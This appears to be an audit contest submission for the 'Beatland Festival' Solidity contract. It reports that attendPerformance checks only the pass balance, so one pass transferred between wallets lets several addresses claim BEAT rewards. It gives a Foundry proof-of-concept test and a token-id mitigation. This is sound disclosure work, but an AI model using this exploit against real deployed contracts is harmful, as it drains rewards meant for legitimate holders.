Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reuse passes allow multiple users to illegitimately attend performances

Root + Impact

Reuse passes allow multiple users to illegitimately attend performances

Description

The attendPerformance function is intended to allow only legitimate pass holders to attend a performance and earn BEAT token rewards. However, the access control logic uses hasPass(msg.sender) to verify the ownership. Since the hasPass checks only the balanceOf(user), it can be trivially bypassed by transferring a pass to another user who can then also call attendPerformance.

function attendPerformance(uint256 performanceId) external {
...
@> require(hasPass(msg.sender), "Must own a pass");
...
}

Risk

Likelihood: High

This bug can be exploited by any pass holder without any technical expertise by transferring their pass between accounts. The exploit works with regular wallets and does not require a contract-based attack.

Impact: High

Multiple addresses can illegitimately attend perfomances and claim BEAT rewards for a single pass. This defeats the anti-sybil assumption that each pass grants access to one use performance.

Proof of Concept

function test_multipleAddessesCanAttendWithOnePass() public {
// By a pass
vm.prank(user1);
vm.expectEmit(true, true, false, true);
emit PassPurchased(user1, 1);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
address friend = makeAddr("friend");
// Create a performance
uint256 startTime = block.timestamp + 1 hours;
uint256 duration = 2 hours;
uint256 reward = 100e18;
vm.prank(organizer);
vm.expectEmit(true, true, true, true);
emit PerformanceCreated(0, startTime, startTime + duration);
uint256 perfId = festivalPass.createPerformance(startTime, duration, reward);
vm.warp(block.timestamp + 1 hours);
// User1 attends the performance
vm.startPrank(user1);
vm.expectEmit(true, true, true, false);
emit Attended(user1, perfId, reward);
festivalPass.attendPerformance(perfId);
// Transfer pass to friend
festivalPass.safeTransferFrom(user1, friend, 1, 1, "");
vm.stopPrank();
// Friend attends the performance
vm.prank(friend);
vm.expectEmit(true, true, true, false);
emit Attended(friend, perfId, reward);
festivalPass.attendPerformance(perfId);
// Both received rewards with one pass
assertEq(beatToken.balanceOf(user1), reward);
assertEq(beatToken.balanceOf(friend), reward);
}

Recommended Mitigations

Bind performance attendance with the token id

- mapping(uint256 => mapping(address => bool)) public hasAttended;
+ mapping(uint256 performanceId => mapping(uint256 tokenId => bool attended)) public hasTokenAttended;
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.